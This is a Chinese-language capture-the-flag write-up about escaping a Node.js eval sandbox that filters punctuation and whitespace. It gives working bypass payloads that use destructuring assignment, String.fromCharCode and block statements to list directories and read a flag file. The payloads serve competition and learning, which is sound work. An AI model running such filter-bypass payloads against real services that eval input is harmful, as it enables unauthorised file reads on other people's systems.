前言

刚打完的比赛,还热乎着,难得拿了个一血,可惜之后就寄了……

正文

题目附件为:

ip: 152.136.122.197 port: 53502 protocol: http
Text

用Chrome浏览器访问,提示错误的响应体

Chrome错误提示

Chrome错误提示

用FireFox可以看到返回内容为main.js的内容

FireFox能显示返回内容

FireFox能显示返回内容

main.js内容为:

const readline = require('readline'); const fs = require("fs"); const path = require("path"); const banlist = Array.from(`\`"'[];,./: \t\n`); const ban = s => banlist.some(v => s.indexOf(v) !== -1); const rl = readline.createInterface({ input: process.stdin, output: process.stdout }); console.log(fs.readFileSync(path.join(__dirname, "./main.js")).toString()); rl.question(">>> ", (payload) => { if (ban(payload)) { console.log("Ban!"); } else { console.log(eval(payload)); } rl.close(); }); rl.on('close', function () { process.exit(0); });
JavaScript

主要逻辑是判断传入payload里有没有这些特殊符号

` " ' [ ] ; , . / : "空格" \t \n
Text

研究了一小时,发现(){}+是可以用的

绕过思路如下:

  • 用解包赋值绕过函数调用中的.

    // 相当于 console.log('114514') var {log} = console log('114514')
    JavaScript
  • String.fromCharCode()绕过文本中的特殊字符

    //得到 '.' String.fromCharCode(46)
    JavaScript
  • 使用{}代码段分隔多行代码,避免使用;和任何空白符号

本地测试代码如下:

const readline = require('readline'); const fs = require("fs"); const path = require("path"); const banlist = Array.from(`\`"'[];,./: \t\n`); const ban = s => banlist.some(v => s.indexOf(v) !== -1); let payload = ` ({ //payload here })() `.replace(/\s/g,''); if (ban(payload)) { console.log("Ban!"); } else { console.log(payload); console.log(eval(payload)); } process.exit(0);
JavaScript

i PS: payload外面的 (()=>{ })() 是可以去掉的

构造payload:

//等效于 console.log(fs.readdirSync("..")) ( ()=>{ { var{readdirSync} = fs } { var{from} = Array } { var{fromCharCode} = String } { var{log} = console } { log(readdirSync(fromCharCode(46)+fromCharCode(46))) } } )()
JavaScript

用Telnet客户端连接可以执行payload

payload回显1

payload回显1

发现flag放在../flag中,读取之:

//等效于 console.log(fs.readFileSync("../flag")) ( ()=>{ { var{readFileSync} = fs } { var{from} = Array } { var{fromCharCode} = String } { var{log} = console } { log(readFileSync(fromCharCode(46)+fromCharCode(46)+fromCharCode(47)+fromCharCode(102)+fromCharCode(108)+fromCharCode(97)+fromCharCode(103))) } } )()
JavaScript

payload回显2

payload回显2

显示的是十六进制Hex,转一下就是Flag了

Flag到手

Flag到手

最后修改:2021 年 10 月 24 日
如果觉得我的文章对你有用,请随意赞赏